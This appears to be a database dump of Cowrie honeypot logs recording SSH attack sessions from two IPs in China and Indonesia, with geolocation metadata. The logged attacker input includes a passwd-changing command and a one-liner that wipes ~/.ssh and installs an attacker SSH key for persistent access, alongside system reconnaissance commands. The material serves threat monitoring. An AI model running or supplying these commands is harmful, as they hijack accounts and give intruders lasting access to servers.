35212, "timestamp": "2021-09-20T11:56:24.137375Z", "@timestamp": "2021-09-20T11:56:24.137Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33594	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:24.955591+03	2021-09-20 15:00:06.060722+03	{"_id": "xAYQA3wBvYTbRNuEf1Ad", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "120.36.157.98", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5783650875091553, "duplicate": true, "timestamp": "2021-09-20T11:56:24.955591Z", "@timestamp": "2021-09-20T11:56:24.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33595	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:24.49634+03	2021-09-20 15:00:06.061722+03	{"_id": "xgYQA3wBvYTbRNuEf1Ad", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "echo \\"4321\\\\nhnLrNaHrWwCz\\\\nhnLrNaHrWwCz\\\\n\\"|passwd", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: echo \\"4321\\\\nhnLrNaHrWwCz\\\\nhnLrNaHrWwCz\\\\n\\"|passwd", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:24.496340Z", "@timestamp": "2021-09-20T11:56:24.496Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33596	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:24.911206+03	2021-09-20 15:00:06.063721+03	{"_id": "xwYQA3wBvYTbRNuEf1Ad", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "8e1449f5eaf517f56a9071ded54e548b40c14df1adc5762b1b15de6a139b10d2", "src_ip": "110.137.195.172", "ttylog": "log/tty/8e1449f5eaf517f56a9071ded54e548b40c14df1adc5762b1b15de6a139b10d2", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/8e1449f5eaf517f56a9071ded54e548b40c14df1adc5762b1b15de6a139b10d2 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.41549158096313477, "duplicate": false, "timestamp": "2021-09-20T11:56:24.911206Z", "@timestamp": "2021-09-20T11:56:24.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33597	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:20.817787+03	2021-09-20 15:00:06.064722+03	{"_id": "qAYQA3wBvYTbRNuEb1B6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "120.36.157.98", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5788896083831787, "duplicate": true, "timestamp": "2021-09-20T11:56:20.817787Z", "@timestamp": "2021-09-20T11:56:20.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33598	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:21.226719+03	2021-09-20 15:00:06.065722+03	{"_id": "rQYQA3wBvYTbRNuEc1Bj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:21.226719Z", "@timestamp": "2021-09-20T11:56:21.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33599	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:21.22728+03	2021-09-20 15:00:06.066722+03	{"_id": "rgYQA3wBvYTbRNuEc1Bj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:21.227280Z", "@timestamp": "2021-09-20T11:56:21.227Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33600	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:21.805578+03	2021-09-20 15:00:06.068723+03	{"_id": "rwYQA3wBvYTbRNuEc1Bj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "120.36.157.98", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5789341926574707, "duplicate": true, "timestamp": "2021-09-20T11:56:21.805578Z", "@timestamp": "2021-09-20T11:56:21.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33602	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:22.907243+03	2021-09-20 15:00:06.070722+03	{"_id": "sgYQA3wBvYTbRNuEd1BM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:22.907243Z", "@timestamp": "2021-09-20T11:56:22.907Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33603	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:22.907791+03	2021-09-20 15:00:06.071722+03	{"_id": "tAYQA3wBvYTbRNuEd1BM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:22.907791Z", "@timestamp": "2021-09-20T11:56:22.907Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33604	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:22.580956+03	2021-09-20 15:00:06.072723+03	{"_id": "tQYQA3wBvYTbRNuEd1BN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "110.137.195.172", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.42168188095092773, "duplicate": true, "timestamp": "2021-09-20T11:56:22.580956Z", "@timestamp": "2021-09-20T11:56:22.580Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33605	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:22.159903+03	2021-09-20 15:00:06.073722+03	{"_id": "tgYQA3wBvYTbRNuEd1BX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:22.159903Z", "@timestamp": "2021-09-20T11:56:22.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33606	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:22.280843+03	2021-09-20 15:00:06.075722+03	{"_id": "twYQA3wBvYTbRNuEd1BX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:22.280843Z", "@timestamp": "2021-09-20T11:56:22.280Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33607	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:22.910188+03	2021-09-20 15:00:06.076722+03	{"_id": "uAYQA3wBvYTbRNuEd1BX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "120.36.157.98", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.6294655799865723, "duplicate": true, "timestamp": "2021-09-20T11:56:22.910188Z", "@timestamp": "2021-09-20T11:56:22.910Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33608	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:23.716442+03	2021-09-20 15:00:06.077722+03	{"_id": "ugYQA3wBvYTbRNuEe1A2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "Enter new UNIX password:", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:23.716442Z", "@timestamp": "2021-09-20T11:56:23.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	\N	\N
33609	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:23.349954+03	2021-09-20 15:00:06.078722+03	{"_id": "wQYQA3wBvYTbRNuEe1A3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:23.349954Z", "@timestamp": "2021-09-20T11:56:23.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33610	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:24.130433+03	2021-09-20 15:00:06.079722+03	{"_id": "vgYQA3wBvYTbRNuEe1A2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "f1761a31e2c2fe8e994927a9651e96ff1e1890d0291731cb86424b8a5f38a64d", "src_ip": "110.137.195.172", "ttylog": "log/tty/f1761a31e2c2fe8e994927a9651e96ff1e1890d0291731cb86424b8a5f38a64d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f1761a31e2c2fe8e994927a9651e96ff1e1890d0291731cb86424b8a5f38a64d after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.4161818027496338, "duplicate": false, "timestamp": "2021-09-20T11:56:24.130433Z", "@timestamp": "2021-09-20T11:56:24.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33611	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:24.495795+03	2021-09-20 15:00:06.081722+03	{"_id": "xQYQA3wBvYTbRNuEf1Ad", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:24.495795Z", "@timestamp": "2021-09-20T11:56:24.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33612	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:25.205421+03	2021-09-20 15:00:06.082722+03	{"_id": "zQYQA3wBvYTbRNuEg1AG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:25.205421Z", "@timestamp": "2021-09-20T11:56:25.205Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33613	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:25.358808+03	2021-09-20 15:00:06.083723+03	{"_id": "zAYQA3wBvYTbRNuEg1AG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:25.358808Z", "@timestamp": "2021-09-20T11:56:25.358Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33614	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:25.955947+03	2021-09-20 15:00:06.084723+03	{"_id": "zwYQA3wBvYTbRNuEg1AG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "120.36.157.98", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5972578525543213, "duplicate": true, "timestamp": "2021-09-20T11:56:25.955947Z", "@timestamp": "2021-09-20T11:56:25.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33615	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:25.359342+03	2021-09-20 15:00:06.085723+03	{"_id": "0AYQA3wBvYTbRNuEg1AL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:25.359342Z", "@timestamp": "2021-09-20T11:56:25.359Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
